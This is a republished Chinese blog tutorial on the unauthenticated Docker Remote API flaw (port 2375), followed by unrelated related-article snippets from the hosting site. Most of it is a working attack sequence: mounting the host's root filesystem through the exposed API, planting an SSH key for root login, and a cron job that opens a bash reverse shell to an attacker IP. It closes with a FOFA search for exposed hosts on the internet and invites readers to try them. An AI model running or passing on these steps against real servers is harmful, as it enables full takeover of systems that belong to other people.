Docker未授权访问漏洞详解

news2024/11/19 2:11:49

目录

Docker简介

Docker未授权访问漏洞原理

Docker未授权访问漏洞复现

环境搭建

漏洞利用

写入密钥免密登录

写入计划任务反弹shell

fofa实战


Docker简介

Docker是一个开源的引擎,可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

Docker未授权访问漏洞原理

又成Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面(赋有远程控制);Docker swarm是Docker下的分布化应用的本地集群,开放2375端口监听容器时会调用这个API,目的方便Docker集群管理和扩展。它绑定在0.0.0.0上,http会返回404page not found。

因为Docker这个特性,如果Docker开放tcp端口2375,且没有限制访问,攻击者可以通过这个端口来获取服务器权限。

Docker未授权访问漏洞复现

环境搭建

先说好,也可以使用vulhub环境搭建(docker/unauthorized-rce),但是这里为了更好的测试就使用docker搭建了。

准备一台centos虚拟机,搭建下载好Docker。

先进行文件备份

cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

对其文件进行编辑

vim /lib/systemd/system/docker.service

然后将下面一段代码加入文件结尾然后保存退出,作用就是开启docker的端口2375

[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

重新加载守护进程,以及重启docker

sudo systemctl daemon-reload
sudo service docker restart

然后查看是否开放了远程访问端口2375

systemctl status docker.service

active即开启成功:

漏洞利用

使用攻击机访问192.168.122.1:2375/version,如果能成功访问,即说明存在未授权访问漏洞。(或者直接扫描端口发现)

写入密钥免密登录

1、使用images命令查询目标系统存在的镜像

docker -H tcp://192.168.122.1:2375 images

2、攻击机创建一个容器,并将宿主机的磁盘挂载到容器内

docker -H tcp://192.168.122.1:2375 run -it -v /:/mnt 镜像ID /bin/bash

3、如果目标机器上没有镜像就需要先pull一个镜像到目标机上

docker -H tcp://192.168.122.1:2375 pull busybox

4、生成一个ssh公钥

 ssh-keygen -t rsa 

5、查看生成的公钥

 cat /root/.ssh/id_rsa.pub

6、将公钥写入目标文件

vi authorized_keys

7、免密登录目标服务器

ssh root@目标ip

写入计划任务反弹shell

写入计划任务,目录/var/spool/cron

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

然后攻击机监听4444端口,一分钟后就能够反弹shell。

nc -lvnp 4444

fofa实战

可以在fofa搜索关键字port="2375"&&body="page not found"

然后根据上面的步骤进行复现,这里没有找到可以利用的就不复现,原理操作都一样。可以自行尝试。

参考文章:云安全笔记-Docker daemon api 未授权访问漏洞复现及利用-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1811743.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DDei在线设计器-DDeiCore-图形插件

DDei-Core-图形 DDei-Core-图形插件包含了基础绘图形状与基础流程形状两个分组,大约100来个图形,能够满足很基本的框图、架构图、流程图的绘制。 图形以分组的形式组织,一个分组中包含多个图形,一个图形也能够同时存在于多个分组。…

李廉洋:6.11黄金原油持续震荡,今日美盘最新分析策略。

黄金消息面分析:周一(6月10日)金价有所回升,此前一个交易日,金价创下了三年半以来的最大跌幅,原因是中国和美国公布的数据令押注中国需求和美联储降息的投机者感到失望。截至发稿,现货金上涨0.5…

【Unity+AI01】在Unity中调用DeepSeek大模型!实现AI对话功能!

要在Unity中调用DeepSeek的API并实现用户输入文本后返回对话的功能,你需要遵循以下步骤: 获取API密钥: 首先,你需要从DeepSeek获取API密钥。这通常涉及到注册账户,并可能需要订阅相应的服务。 集成HTTP请求库&#xf…

西南交通大学【操作系统实验6】

实验目的 学习如何产生一个系统调用,以及怎样通过往内核中增加一个新函数,从而在内核空间中实现对用户空间的读/写。学习重建内核。 实验内容 (1)设计并实现一个新的系统调用pedagogictime() ,该函数通过使用一个引用…

Stable diffusion的SDXL模型,针不错!(含实操)

与之前的SD1.5大模型不同,这次的SDXL在架构上采用了“两步走”的生图方式: 以往SD1.5大模型,生成步骤为 Prompt → Base → Image,比较简单直接;而这次的SDXL大模型则是在中间加了一步 Refiner。Refiner的作用是什么呢…

Base64编码和ASCII编码

1字节Byte 8比特bit 单位换算关系Byte1Byte 8bitKB1024ByteMB1024KBGB1024MB 网速中的Mbps和MB/s Mbps 1M bit/s 1024 K bit/s 1024 * 1024 bit/s MB/s 1024 KB/s 1024 * 1024 B/s 1024 * 1024 * 8 bit/s 所以:1Mbps 1/8 MB/s 1个bit,可以表示…

利用Python的NLTK库来查询指定单词的同义词

一、NTLK库介绍 NLTK(Natural Language Toolkit) 是Python中最为知名的自然语言处理(NLP)库之一,它提供了丰富的模块和数据结构,专门用于人类语言数据的统计自然语言处理。它包含了文本处理库用于分类、标记…

手机丢失不惊慌,华为手机已升级至楼层级设备查找!

出门总是丢三落四,手机丢了怎么办?不要怕,只要你的华为手机升级至云空间新版本,就可以进行楼层级设备查找,现在可以查看到具体的楼层了! 之前有手机丢失过的朋友,肯定有相似的经历&#xff0c…

网页宽度现在右侧有一个竖条空白,怎么啦车网站都没办法完全铺满宽度,怎么回事怎么解决

问: 网页宽度怎么设置全覆盖 回答: 经过检查,发现 是这个网站的最外层html标签设置了宽度,所以导致,当我们删除html的宽度后就解决了这个问题.

【会议征稿,ACM出版】2024年粤港澳大湾区教育数字化与计算机科学国际学术会议(EDCS 2024,6月21-23)

人工智能、区块链、虚拟现实技术等新一轮技术革命正在推进社会结构变革;数字化转型正在重塑社会、劳动力市场和未来工作形式,其中关于教育领域,2019,2020的冠状病毒病大流行给全球教育带来巨大挑战,加速了教育数字化转…

海南聚广众达电子商务咨询有限公司打造一站式电商服务

在数字经济的浪潮中,电商行业蓬勃发展,各种平台和服务商如雨后春笋般涌现。其中,海南聚广众达电子商务咨询有限公司凭借其专业的团队和丰富的经验,在抖音电商服务领域独树一帜,成为业界的佼佼者。 海南聚广众达电子商…

Advanced Intelligent Systems 清华大学曲钧天团队设计了基于光纤传感技术的多模态触觉感知仿生机械手

随着软体机器人技术的发展,触觉感知在人机安全交互、可穿戴设备和医疗器械领域发挥着重要作用。如何用简单的系统集成更多的触觉感知、获取更多交互信息面临着诸多挑战。 近日,清华大学国际研究生院曲钧天助理教授团队在国际期刊Advanced Intelligent S…

python的resample()函数

介绍 在Python中,resample()函数是一个常用的工具,用于对时间序列数据进行重新采样。这个函数可以将时间序列数据从一个频率转换为另一个频率,比如将每天的数据转换为每月的数据。在本教程中,我将向你展示如何使用resample()函数,并解释每个步骤的具体含义。 整体流程 首先…

泉城济南的隐秘珍宝与山东旅游必去十大景点

泉城济南的隐秘珍宝与山东旅游必去十大景点 济南,这座历史悠久的城市,不仅以其丰富的人文底蕴著称,还拥有诸多引人入胜的自然景观。在这片华夏神州广阔的齐鲁大地上,济南特别以其“三无风景区”——无影山、无影潭、无影泉——而闻…

云联HIS系统源码,二级医院信息系统源码,支持云架构部署模式

采用java语言开发B/S广域互联模式,支持云架构部署模式,支持大数据分析技术;支持与医保平台接口、电子票据对接。 云HIS系统相关技术: 后台:JavaSpring,SpringBoot,SpringMVC,Sprin…

Facebook商城号怎么做?思路与操作分析

2016 年,Facebook打造了同名平台 Facebook Marketplace。通过利用 Facebook 现有的庞大客户群,该平台取得了立竿见影的成功,每月访问量将超过 10 亿。对于个人卖家和小企业来说,Facebook Marketplace是一个不错的销货渠道&#xf…

电商项目-day02

文章目录 分析项目结构登录请求项目搭建Result总结 分析项目结构 语法的限制打开 端口修改 修改port 前端的入口工程是main.js 登录请求 早期的登录是使用session 称为 会话 也称为域 使用jwt进行验证 模块 spzx-partent 父工程 使用pom 其他的模块都是 jar包 项目搭…

《Brave New Words 》5.1 传递真相:偏见和虚假信息现状

Part V: Keeping Kids Safe 第五部分:确保孩子安全 Never travel faster than your guardian angel can fly. —Mother Teresa 永远不要比你的守护天使飞得更快。 ——特蕾莎修女 Distrust and caution are the parents of security. —Benjamin Franklin 不信任和谨…

LabVIEW轴承试验机测控系统

开发了一种基于LabVIEW软件开发的大功率风电机组增速箱轴承试验机测控系统。系统主要用于模拟实际工况,进行轴承可靠性分析,以优化风电机组的性能和可靠性。通过高度自动化的测控系统,实现了对试验机的精确控制,包括速度、振动、温…

白嫖Cloudflare Workers 搭建 Docker Hub镜像加速服务|

简介 基于Cloudflare Workers 搭建 Docker Hub镜像加速服务。 首先要注册一个Cloudflare账号。 Cloudflare账号下域名的一级域名,推荐万网注册个top域名,再转移到Cloudflare,很便宜的。 注意 Worker 每天每免费账号有次数限制,为…